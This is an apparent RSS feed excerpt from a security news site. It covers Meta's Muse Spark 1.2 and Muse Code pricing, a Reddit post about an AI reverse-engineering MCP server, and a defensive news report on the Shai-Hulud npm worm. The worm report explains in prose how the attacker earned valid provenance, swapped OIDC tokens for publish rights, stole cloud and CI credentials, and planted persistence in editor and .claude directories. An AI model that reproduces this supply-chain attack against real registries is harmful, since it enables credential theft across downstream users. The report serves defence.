that gap.</p><p>Two training details stand out. First, Meta co-trained the model with Muse Code itself, using rejection-sampled harness trajectories and recipe optimizations for goals, context compaction, and sub-agents — meaning the model was explicitly tuned to perform best inside this particular tool. That mirrors an industry-wide shift away from treating models and harnesses as separable products.</p><p>Second, Meta used a self-improvement loop: Muse Spark 1.1 generated challenging coding environments and instruction-following templates, then graded candidate solutions against those requirements, producing a scalable training dataset for its successor. Meta credits the loop with making 1.2 measurably better at following complex instructions.</p><p>Meta published benchmark charts comparing Muse Spark 1.2 against other coding models on Terminal-Bench 2.1, DeepSWE 1.1, and an internal Meta coding benchmark, pointing readers to a separate methodology report for details — though the company did not headline specific scores in the announcement itself, a notable omission in a field where rivals trumpet leaderboard placement.</p><p>The company's most striking demonstration is a long-horizon case study: Meta pointed Muse Spark 1.2 at GPU kernel optimization and let it run for more than 1,000 tool calls over up to 24 hours on NVIDIA Hopper hardware.</p><p>Working in Triton and barred from simply wrapping existing third-party kernel libraries, the agent wrote, compiled, and profiled its way to what Meta calls "substantial improvements" over baseline implementations of KDA and MLA kernels — including genuinely non-obvious optimizations like re-centering gated cumulative decay at a chunk midpoint. </p><p>"It kept finding substantial improvements well beyond the initial exploration phase," Zuckerberg wrote. Sustained improvement over a 24-hour autonomous run, if it holds up outside Meta's demos, addresses one of the most persistent criticisms of coding agents: that they plateau or drift once past their initial burst of progress.</p><h2><b>Your data for a discount?</b></h2><p>The pricing structure may be the most consequential — and most scrutinized — part of the launch. Meta is offering Muse Spark 1.2 through its<a href="https://dev.meta.ai/docs/pricing-rate-limits?project_id=1661600634933790&amp;team_id=2096920474558192"> Meta Model API </a>in two tiers.</p><p>The <b>standard tier</b> is priced at $1.25 per million input tokens and $4.25 per million output tokens (with cached input at $0.15), and Meta commits that prompts and completions on this tier are not used to train its models. There is no long-context premium, and rate limits run to 3,000 requests and 4 million tokens per minute, per team. It's about mid-range price, compared to other leading AI models available over API. </p><p>The <b>contributor tier</b> is where Meta's strategy diverges sharply from its rivals: $0.10 per million input tokens and $0.20 per million output tokens — roughly 12x and 21x cheaper than standard, respectively, with cached input at a near-free $0.002 — in exchange for explicit permission to use your prompts and completions to train future Meta models. It's the cheapest available on the market, but you pay with your data — as described below. </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input ($/1M)</b></p></td><td><p><b>Output ($/1M)</b></p></td><td><p><b>Total ($/1M)</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p><b>Muse Spark 1.2 Contributor</b></p></td><td><p><b>$0.10</b></p></td><td><p><b>$0.20</b></p></td><td><p><b>$0.30</b></p></td><td><p><b></b><a href="https://dev.meta.ai/docs/pricing-rate-limits"><b>Meta</b></a><b></b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>GPT-5.6 Luna</p></td><td><p>$0.20</p></td><td><p>$1.20</p></td><td><p>$1.40</p></td><td><p><a href="https://openai.com/index/advancing-the-price-performance-frontier-with-gpt-5-6/">OpenAI</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>LongCat-2.0 — limited-time promo</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>Gemini 3.5 Flash-Lite</p></td><td><p>$0.30</p></td><td><p>$2.50</p></td><td><p>$2.80</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>LongCat-2.0 — standard</p></td><td><p>$0.75</p></td><td><p>$2.95</p></td><td><p>$3.70</p></td><td><p><a href="https://longcat.chat/platform/docs/APIPayAsYouGo.html">LongCat</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p><b>Muse Spark 1.1 / 1.2</b></p></td><td><p><b>$1.25</b></p></td><td><p><b>$4.25</b></p></td><td><p><b>$5.50</b></p></td><td><p><b></b><a href="https://dev.meta.ai/docs/pricing-rate-limits"><b>Meta</b></a></p></td></tr><tr><td><p>GLM-5.2</p></td><td><p>$1.40</p></td><td><p>$4.40</p></td><td><p>$5.80</p></td><td><p><a href="https://docs.z.ai/guides/overview/pricing">Z.ai</a></p></td></tr><tr><td><p>Grok 4.5</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://docs.x.ai/developers/models">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi</a></p></td></tr><tr><td><p>Qwen3.8-Max</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://www.qwencloud.com/models/qwen3.8-max">QwenCloud</a></p></td></tr><tr><td><p>Gemini 3.6 Flash</p></td><td><p>$1.50</p></td><td><p>$7.50</p></td><td><p>$9.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.6 Terra</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://openai.com/index/advancing-the-price-performance-frontier-with-gpt-5-6/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Kimi K3</p></td><td><p>$3.00</p></td><td><p>$15.00</p></td><td><p>$18.00</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k3">Moonshot AI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 5</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>GPT-5.5 Instant (chat-latest)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://developers.openai.com/api/docs/models/chat-latest">OpenAI</a></p></td></tr><tr><td><p>Sakana Fugu Ultra (≤272K)</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://console.sakana.ai/pricing#subscription-plan">Sakana AI</a></p></td></tr><tr><td><p>GPT-5.6 Sol — Standard mode</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/index/advancing-the-price-performance-frontier-with-gpt-5-6/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr><tr><td><p>GPT-5.6 Sol — Fast mode</p></td><td><p>$10.00</p></td><td><p>$60.00</p></td><td><p>$70.00</p></td><td><p><a href="https://openai.com/index/advancing-the-price-performance-frontier-with-gpt-5-6/">OpenAI</a></p></td></tr></tbody></table><p>This is the tier Zuckerberg is steering new users toward: "It's easy and low-cost to get started," he wrote. "Install Muse Code with one line and you can start on our contributor tier."</p><p>In VentureBeat's own testing on a Mac mini, the one-line installer worked as advertised — a 97 MB download and a sign-in — but the agent stopped short of running anything, reporting that no models were visible and that payment was "required to finish setting up your account." </p><p>In other words, even the heavily discounted contributor tier requires a payment method on file before Muse Code will do any work: low-cost is accurate, but free is not.</p><p>Meta frames the contributor tier as lowering the barrier for prototyping and experimentation "where training on your data is acceptable." </p><p>But it also means the default on-ramp for Muse Code sends developers' code and prompts into Meta's training pipeline — a tradeoff enterprises with proprietary codebases will need to consciously opt out of by moving to standard pricing. </p><p>The contributor tier also carries much tighter rate limits (60 requests per minute versus 3,000), a clear signal it's aimed at individuals and small experiments rather than production workloads.</p><p>The approach is classically Meta: subsidize access, harvest data at scale, and use it to close the gap with the frontier. Zuckerberg made no secret of the ambition, calling Muse Spark 1.2 "our next step as we push toward frontier, with larger, more capable models on the way."</p><p>However, for developers and enterprises who want or are required legally to keep their code secure, the tradeoff may not be one they're willing or able to make. </p><h2><b>No Llama in sight</b></h2><p>What today's announcement conspicuously lacks is any mention of open source — a striking omission from the company that spent three years positioning itself as the standard-bearer of open AI.</p><p>From the original LLaMA's debut in February 2023 — whose weights famously leaked onto 4chan within weeks, inadvertently kickstarting the movement to run capable models on consumer hardware — through Llama 2's commercially usable license, the coding-specialized Code Llama, and the 405-billion-parameter Llama 3.1, which Zuckerberg launched in July 2024 with a manifesto titled "<a href="https://about.fb.com/news/2024/07/open-source-ai-is-the-path-forward/">Open Source AI Is the Path Forward</a>," Meta's entire pitch to developers was that frontier-class weights should be free to download, self-host, and fine-tune. </p><p>The strategy worked: by early 2026, the Llama family had been <a href="https://miraflow.ai/blog/meta-ended-llama-built-muse-spark-changes-everything-2026">downloaded roughly 1.2 billion times</a>, averaging about a million downloads a day, with self-hosting offering enterprises cost reductions VentureBeat has previously reported at as much as 88% versus proprietary API providers.</p><p>Then came the unraveling. Llama 4 debuted in April 2025 to <a href="https://venturebeat.com/ai/meta-defends-llama-4-release-against-reports-of-mixed-quality-blames-bugs">mixed reviews</a> and, eventually, admissions that its benchmark results had been fudged — while Chinese open-weight rivals from DeepSeek, Alibaba, and Zhipu AI surged to account for some 41% of downloads on Hugging Face by late 2025, eroding Llama's claim to leadership of the very movement it started. The rocky rollout spurred Zuckerberg's summer 2025 overhaul of Meta's AI operations into Meta Superintelligence Labs (MSL), with Scale AI co-founder Alexandr Wang recruited as chief AI officer.</p><p>The Llama era effectively ended this past April 8, when MSL <a href="https://venturebeat.com/technology/goodbye-llama-meta-launches-new-proprietary-ai-model-muse-spark-first-since">shipped the original Muse Spark</a> — "the most powerful model that meta has released," in Wang's words — as Meta's first proprietary model: <a href="https://mynextdeveloper.com/blogs/metas-muse-spark-the-end-of-open-source-for-llama/">cloud-only, with no downloadable weights and no self-hosting</a>, initially confined to Meta's apps and a private API preview. </p><p>Asked directly at the time whether Llama development would continue, a Meta spokesperson told VentureBeat only that "our current Llama models will continue to be available as open source" — pointedly silent on future ones.</p><p>Wang, for his part, said <a href="https://www.artificialintelligence-news.com/news/meta-muse-spark-ai-model-open-source/">bigger models were already in development "with plans to open-source future versions"</a> — but four months on, today's release does nothing to advance that promise: no weights, no license, and neither the blog post nor Zuckerberg's thread so much as uses the word "open."</p><p>The reversal is all the sharper because Meta's rivals have been moving in the opposite direction. OpenAI released its <a href="https://github.com/openai/codex">Codex CLI as open source </a>under the permissive, enterprise-friendly Apache 2.0 license and followed with its <a href="https://venturebeat.com/business/openai-returns-to-open-source-roots-with-new-models-gpt-oss-120b-and-gpt-oss-20b">gpt-oss open-weight models</a>; Google's<a href="https://venturebeat.com/technology/google-is-redefining-enterprise-ai-economics-with-open-source-gemini-cli-that-will-be-free-for-the-majority-of-developers"> Gemini CLI harness is likewise Apache-licensed.</a> </p><p>With Muse Code, Meta lands closest to the posture of Anthropic — whose Claude Code remains proprietary — while the company that once argued open source was the path forward now asks developers to pay per token for a model they cannot inspect, or to subsidize that access with their own data. </p><p>Seen in that light, the contributor tier reads as the successor to the Llama strategy itself: the ecosystem flywheel is no longer free weights in exchange for mindshare, but cheap tokens in exchange for training data.</p><h2><b>Why it matters</b></h2><p>Terminal coding agents have become the fastest-growing surface in enterprise AI, and until today the category has effectively been a two-horse race between Anthropic and OpenAI, with Google and a crowd of startups in pursuit.</p><p>Meta's entry brings a genuinely different architecture (persistent background agents, an append-only local event log), a credible long-horizon demo, and an aggressive pricing wedge.</p><p>The open questions are the ones benchmarks charts can't answer: whether Muse Spark 1.2 actually matches Claude and GPT-class models on real-world repositories, whether developers trust Meta with their code, and whether the contributor tier's discount is enough to make them stop asking. Muse Code is available in beta today; Muse Spark 1.2 is live in the Meta Model API with expanded global access.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I built an open-source MCP server that gives AI agents 46 structured reverse engineering tools (Ghidra, GDB, Binwalk, etc) with a persistent knowledge base]]></title>
<description><![CDATA[Hey guys, I have been working on an open-source project that lets AI agents (Claude, OpenCode, Antigravity, Codex, etc.) work with reverse engineering tools and store facts in a DB to make long-term analysis easier. You just point your agent to the file, and it does the work: it runs tools like G...]]></description>
<link>https://tsecurity.de/de/3706812/malware-trojaner-viren/i-built-an-open-source-mcp-server-that-gives-ai-agents-46-structured-reverse-engineering-tools-ghidra-gdb-binwalk-etc-with-a-persistent-knowledge-base/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706812/malware-trojaner-viren/i-built-an-open-source-mcp-server-that-gives-ai-agents-46-structured-reverse-engineering-tools-ghidra-gdb-binwalk-etc-with-a-persistent-knowledge-base/</guid>
<pubDate>Wed, 05 Aug 2026 23:22:01 +0200</pubDate>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hey guys,</p> <p>I have been working on an open-source project that lets AI agents (Claude, OpenCode, Antigravity, Codex, etc.) work with reverse engineering tools and store facts in a DB to make long-term analysis easier.</p> <p>You just point your agent to the file, and it does the work: it runs tools like <strong>Ghidra headless, gdb, binwalk, tshark, radare2, readelf, strings...</strong> then turns what it finds into the database.</p> <h1>Key Features</h1> <ol> <li><strong>Specialized Analysis Agents:</strong> Binary, firmware, network, CPU, and kernel.</li> <li><strong>Knowledge Base (SQLite):</strong> Everything is stored as a fact, hypothesis, or experiment with confidence + evidence tags so nothing is "trust me, bro."</li> <li><strong>Multi-Agent Debate:</strong> When agents disagree on a finding, they argue it out in a structured debate until they reach a consensus.</li> <li><strong>Self-Critique:</strong> Every agent's output gets LLM-reviewed before it's accepted.</li> <li><strong>RAG Semantic Search:</strong> Query all past analyses (<em>"Have I seen this obfuscation pattern before?"</em>).</li> <li><strong>Missions:</strong> Define objectives with dependencies, assign agents, and track progress.</li> <li><strong>Token Budgets + Rate Limiting:</strong> Prevents runaway loops from burning your API budget.</li> <li><strong>Monitoring:</strong> Prometheus metrics + Grafana.</li> </ol> <h1>Interface &amp; Setup</h1> <ul> <li><strong>MCP Server:</strong> The whole thing is exposed as an MCP server (46 tools), so you drive it from a terminal with natural language.</li> <li><strong>Dashboard:</strong> You can also use the Flask web dashboard (currently only a database view, but an interactive UI to work directly with agents is doable).</li> <li><strong>One-Command Setup:</strong> Run <code>python setup_wizard.py</code>it detects your installed RE tools, helps you pick an LLM provider (OpenAI, Anthropic, Google, Ollama, etc.), validates the key, and writes your <code>.env</code>. (note that LLM api keys are not necessary if you plan to use it just from your agent cli like opencode)</li> </ul> <p><strong>Stack:</strong> Python, LLM orchestration, MCP, SQLite, Flask. Ghidra, GDB, and Binwalk are optional. It degrades gracefully with just binutils.</p> <p>This is very much a research project, and I'd love feedback from people who do this professionally, what's missing, what annoys you, what would you trust it to do?</p> <p><strong>GitHub:</strong> <a href="https://github.com/The-Arabi/Reverse-engineering-agent">https://github.com/The-Arabi/Reverse-engineering-agent</a></p> <p><a href="https://preview.redd.it/47z8u41x1ghh1.png?width=1336&amp;format=png&amp;auto=webp&amp;s=1bde2ec8279186ed46688b5574d271aaae78766e">database</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Katsu121"> /u/Katsu121 </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1vg8tjn/i_built_an_opensource_mcp_server_that_gives_ai/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1vg8tjn/i_built_an_opensource_mcp_server_that_gives_ai/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Shai-Hulud npm worm didn't fake its security check — it earned a legitimate one]]></title>
<description><![CDATA[An attacker on Tuesday took over the GitHub account of the developer who maintains keyv, a small key-value storage library that npm serves roughly 127 million times a week. Within hours, poisoned versions of keyv and its sibling caching packages were live on npm, carrying a credential-stealing wo...]]></description>
<link>https://tsecurity.de/de/3706411/it-nachrichten/the-shai-hulud-npm-worm-didnt-fake-its-security-check-it-earned-a-legitimate-one/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706411/it-nachrichten/the-shai-hulud-npm-worm-didnt-fake-its-security-check-it-earned-a-legitimate-one/</guid>
<pubDate>Wed, 05 Aug 2026 19:31:14 +0200</pubDate>
<content:encoded><![CDATA[<p>An attacker on Tuesday took over the GitHub account of the developer who maintains <a href="https://keyv.org/">keyv</a>, a small key-value storage library that <a href="https://www.npmjs.com/">npm</a> serves roughly 127 million times a week. Within hours, poisoned versions of keyv and its sibling caching packages were live on npm, carrying a credential-stealing worm. By midday, <a href="https://www.aikido.dev/blog/keyv-and-friends-compromised-in-npm-supply-chain-attack">security firm Aikido</a> counted at least 868 compromised packages across 1,381 versions, together carrying over two billion monthly installs, a total still climbing. <a href="https://jfrog.com/">JFrog</a> independently traced the campaign across more than 400 packages and 1,700 poisoned versions. </p><p>The part that should worry every security team is not the download count. It is the paperwork. The initial poisoned releases shipped with valid provenance signatures, the cryptographic attestation the industry built to prove a package came from where it claims. The worm did not forge that signature. It earned it, the way a legitimate release would.</p><p>A day earlier, <a href="https://www.crowdstrike.com/en-us/">CrowdStrike</a> published its <a href="https://www.crowdstrike.com/en-us/blog/crowdstrike-2026-threat-hunting-report/">2026 Threat Hunting Report</a> and predicted this exact shape of attack. A section titled "Software Supply Chain Attacks Evolve" names the developer ecosystem itself, package registries, continuous integration pipelines, container registries, and the extensions developers load into their code editors, as the surface adversaries now go after directly. It puts npm packages at the center of that shift, tied to 87% of the malicious software registry threats CrowdStrike tracked in the first half of the year. The keyv worm turned that finding into a live incident inside 24 hours.</p><p>For CISOs and security architects, the two events read as one message. The trust signals built into the software supply chain can be satisfied by an attacker who owns the right account, and the window between disclosure and exploitation has collapsed past what monthly patching absorbs.</p><h2><b>How the worm earned its provenance</b></h2><p>Walk through the mechanism and it becomes clear why provenance did not help. According to Aikido's analysis, the attacker pushed malicious files straight to the main branch of each repository the maintainer controlled, then immediately cut a new release. Because the release ran through the maintainer's own GitHub Actions workflow, npm generated a legitimate provenance attestation for it. To anyone auditing supply chain integrity, the poisoned build looked authentic. <a href="https://www.wiz.io/blog/keyv-and-cacheable-npm-supply-chain-attack">Wiz confirmed the release path independently</a>, and in one targeted path documented by JFrog the worm went further. Inside a GitHub Actions run tied to opensearch-js, it requested an OIDC token, exchanged it for a publish token, and minted a Sigstore bundle through Fulcio and Rekor so the malicious tarball carried provenance generated from the trusted workflow context itself.</p><p>What turned a single account takeover into a registry-wide event was the spread. Once a poisoned package landed in a developer's environment or a build runner, its payload harvested every credential it could reach, then used any npm publishing tokens it found to backdoor other packages that the victim controlled. Each compromised maintainer became an unwitting distribution node, with Aikido watching dozens of newly infected packages appear every few minutes. The malware exfiltrated stolen secrets to public GitHub repositories tagged "Shai-Hulud: Here We Go Again," the signature that named the campaign.</p><p>This blast radius reached well beyond obscure utilities. Because keyv sits as a transitive dependency under many popular tools, the worm rode those chains into packages under corporate npm scopes, <a href="https://www.aikido.dev/blog/keyv-and-friends-compromised-in-npm-supply-chain-attack">with releases tied to Deliveroo, Qlik, and Picsart among the confirmed hits</a>. Developers at those companies never installed keyv on purpose. They only depended on something that depended on it, layers down a tree no one reviews by hand.</p><p>Credential extractors inside the payload reveal what the attackers were actually after, and it was never the caching libraries. <a href="https://research.jfrog.com/post/shai-hulud-is-back-august/">JFrog, which traced the compromise across keyv and cacheable</a>, and <a href="https://www.wiz.io/">Wiz</a> both found the malware harvesting cloud access keys, CI secrets, and the tokens that authenticate to production infrastructure. The package compromise was the vehicle, and the cloud behind it was always the destination. CrowdStrike found cloud-conscious criminal activity rose 171% in the first half of 2026, and supply chain compromise is one of the paths feeding it.</p><h2><b>The target was the developer's own tools</b></h2><p>Stealing was not the end of it, because the worm also planted itself where developers work. Wiz found that the malware drops persistence payloads into two directories on machines it reaches, one for Visual Studio Code and one named .claude, the working directory for Anthropic's Claude Code agent. The setup files placed there mean the payload can run when a developer opens the infected project in their editor or starts an AI coding session, not only at install time. This is the developer ecosystem CrowdStrike named, hit precisely, the editor and the AI assistant a developer trusts most and inspects least.</p><h2><b>The fix costs nothing</b></h2><p>One control would have blunted the worm, and it costs nothing. Adam Meyers, who leads Counter Adversary Operations at CrowdStrike, laid it out in a pre-release interview under embargo. "Secure the software supply chain," he said. "Simple things like not allowing any of your tooling to pull down the most recent dependencies, but maybe last week's dependencies." The delay is the whole point. "You're still going to have pretty up-to-date stuff, but you won't have that risk of pulling down something that was updated minutes ago, and now you've just onboarded some sort of malicious tooling." A release held back a week gives the security community time to catch a poisoning that would otherwise reach every downstream build within minutes.</p><p>That guidance is not hypothetical. npm shipped this capability in February 2026 with CLI version 11.10.0 as a <a href="https://docs.npmjs.com/cli/v11/using-npm/config#min-release-age">setting called min-release-age</a>. pnpm got there five months earlier with <a href="https://craigory.dev/blog/2026-05-29/package-manager-release-cooldown/">minimumReleaseAge</a>. Either one lets a team reject any package version published more recently than a threshold they set. The keyv worm is the argument for turning it on.</p><p>Meyers pairs the cooldown with a second discipline. Patch what attackers are exploiting before anything else. "You need to kind of focus your vulnerability mitigation and patching around the exploits that are known to the exploiter," he told VentureBeat. He pointed to a resource most teams underuse. "CISA here in the United States puts out something called the Known Exploited Vulnerability Catalog," updated weekly with flaws confirmed under active attack, government-maintained and free. "If you patch those vulnerabilities first, you're going to probably be safer."</p><p>Meyers put hard numbers to the speed problem, numbers that do not appear in the published report. All of 2025 saw roughly 48,200 vulnerabilities registered as CVEs. When he checked the week before the briefing, 2026 had already reached 43,000. </p><p>That volume breaks monthly patch cycles. "They cannot operate in 30-day patch windows," he told VentureBeat. "As soon as a vulnerability is disclosed, they need to be moving towards patching or mitigating that particular issue." CrowdStrike's report pairs that trajectory with a finding that 88% of the exploitation it observed against vulnerabilities with a public proof of concept happened inside 48 hours of the code going public.</p><h2><b>GitHub hardened half the problem</b></h2><p>GitHub, which owns npm, <a href="https://github.blog/changelog/2025-09-29-strengthening-npm-security-important-changes-to-authentication-and-token-management/">has spent the past year hardening the registry</a> against precisely this class of attack. The platform made two-factor authentication mandatory for publishing, revoked old never-expiring access tokens, and added trusted publishing so build systems push without stored credentials. Then in <a href="https://thehackernews.com/2026/07/npm-12-disables-install-scripts-by.html">npm version 12</a>, released in mid-2026, it flipped the most consequential default. The preinstall, install, and postinstall hooks that most registry malware relies on to execute the moment a package lands now require explicit approval.</p><p>That change matters directly here because the keyv worm executes through a preinstall script, and npm 12 cuts both ways. JFrog confirmed that on npm 12 or newer, where preinstall hooks are off by default, the malware does not run at install time. Every organization still on an older npm, and most enterprises upgrade slowly, remained exposed. </p><p>GitHub's defenses hardened the wrong half of the attack more than the right one, making it harder for a malicious package to execute once it lands while doing less to stop an attacker from earning the right to publish. Account takeover remains the root cause. Kiran Raj, a security engineer at <a href="https://www.endorlabs.com/">Endor Labs</a>, said he saw the same pattern, an npm publishing token stolen and reused, in most cases a CI or service-account token harvested from a build runner that had itself installed a poisoned dependency. The worm never had to defeat provenance. It needed one set of valid credentials, and npm's own publishing automation did the rest.</p><p>Provenance attestation answers whether a package came from the pipeline it claims. It does not answer whether the human or token that triggered that pipeline was supposed to. Identity governance, who can publish and what their credentials can reach, is the weaker control. CrowdStrike names abuse of legitimate developer identities as the primary entry point for supply chain compromise. Meyers put it plainly. "They log in, they don't hack in," he said. The keyv maintainer's account was that identity, and the trusted-publishing machinery did the rest on the attacker's behalf.</p><h2><b>Why the boardroom is next</b></h2><p>The pressure to fix this will not come only from threat reports. It is about to come through contracts. Kayne McGladrey, a senior member of the IEEE, told VentureBeat in an exclusive interview that enterprises are starting to push software security obligations onto the vendors and maintainers in their supply chains. "We're going to start seeing companies trying to contractually shift liability to other parties in their supply chain," he told VentureBeat. "We're using your technology, but we want you to do the security for it." </p><p>He compared it to how the Department of Defense forced its vendors to raise their game through the CMMC certification program. "Get better at cybersecurity if you want to sell us stuff." For any company shipping software on open-source dependencies, that turns provenance, identity, and patch discipline into contractual exposure.</p><h2><b>What to do Monday morning</b></h2><p>For a security team deciding what to do about this on Monday morning, the actions divide into five moves that map to the five ways this attack class operates. Each is a governance decision a board can fund and audit, not a tool a developer installs alone.</p><table><tbody><tr><td><p><b>How the attack operates</b></p></td><td><p><b>What the keyv worm showed</b></p></td><td><p><b>What the board funds and audits</b></p></td></tr><tr><td><p>The developer ecosystem is the target.</p></td><td><p>CrowdStrike names package registries, CI/CD pipelines, container registries, and IDE extensions as the surface adversaries hit directly. The keyv payload planted persistence hooks in developer editor and AI tooling directories, not just the package.</p></td><td><p>Require provenance attestation and trusted publishing before any dependency or editor extension enters a build. Give the board a standing inventory of registries, pipeline components, and extensions in scope. Treat developer tooling as an audited supplier category.</p></td></tr><tr><td><p>Automation makes the spread fast.</p></td><td><p>One stolen credential seeded a cascade that reached at least 868 packages and two billion monthly installs in hours, jumping between organizations every few minutes. The worm ran through a preinstall script, the install-time default npm v12 disables.</p></td><td><p>Turn on npm's min-release-age so tooling pulls last week's versions, not releases published minutes ago. Require npm v12 or install-script blocking across the build estate. Plan for simultaneous multi-package compromise in resilience testing.</p></td></tr><tr><td><p>Identity is the entry point.</p></td><td><p>The attack began with one hijacked GitHub maintainer account. Provenance signed the poisoned releases because they ran through the maintainer's own pipeline. Valid credentials, not a broken control, did the damage.</p></td><td><p>Mandate phishing-resistant multifactor authentication for every maintainer with publish rights. Prefer short-lived scoped tokens over long-lived ones. Report developer and machine identity coverage to the board as a countable liability.</p></td></tr><tr><td><p>The cloud is the real destination.</p></td><td><p>The payload carried targeted extractors for cloud access keys, CI secrets, and production infrastructure tokens. The package compromise was the vehicle. Cloud-conscious criminal activity rose 171% in the first half of 2026.</p></td><td><p>Classify developer workstations and CI runners as tier-zero assets with domain-controller rotation standards. Document cloud credential rotation in hours after any supply chain exposure. Report long-lived cloud keys with reduction targets.</p></td></tr><tr><td><p>The patch window has collapsed.</p></td><td><p>CrowdStrike observed 88% of exploitation with a public proof of concept inside 48 hours. Meyers put 2026 CVE registrations at 43,000 by late July against 48,200 for all of 2025. The keyv worm was live within hours, with no CVE to wait for.</p></td><td><p>Reset patch service levels for internet-facing systems from days to hours and fund continuous emergency patching as a budgeted operation. Give the audit committee time-from-disclosure-to-mitigation as a standing metric. Build defensibility on documented pre-patch compensating controls.</p></td></tr></tbody></table><p><i>Package counts reflect Aikido and JFrog tracking as of August 4 and were climbing at press time.</i></p><p>The keyv worm will be contained. Compromised versions pulled, stolen tokens rotated, affected packages republished clean. What will not change is the shape of the exposure it revealed. The developer ecosystem is now a primary target, the automation that makes it productive is the same automation that makes a worm fast, and the trust signals meant to secure it can be satisfied by anyone holding the right credentials. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple's loaded M5 Max MacBook Pro with 40-core GPU is $500 off right now]]></title>
<description><![CDATA[Apple's powerhouse 16-inch MacBook Pro with an M5 Max chip and 40-core GPU is $500 off today, the largest discount currently available across the 16-inch lineup.Save $500 on Apple's loaded 16-inch MacBook Pro at Amazon - Image credit: AppleAmazon is slashing $500 off Apple's premium 16-inch MacBo...]]></description>
<link>https://tsecurity.de/de/3706296/ios-mac-os/apples-loaded-m5-max-macbook-pro-with-40-core-gpu-is-500-off-right-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3706296/ios-mac-os/apples-loaded-m5-max-macbook-pro-with-40-core-gpu-is-500-off-right-now/</guid>
<pubDate>Wed, 05 Aug 2026 17:50:31 +0200</pubDate>
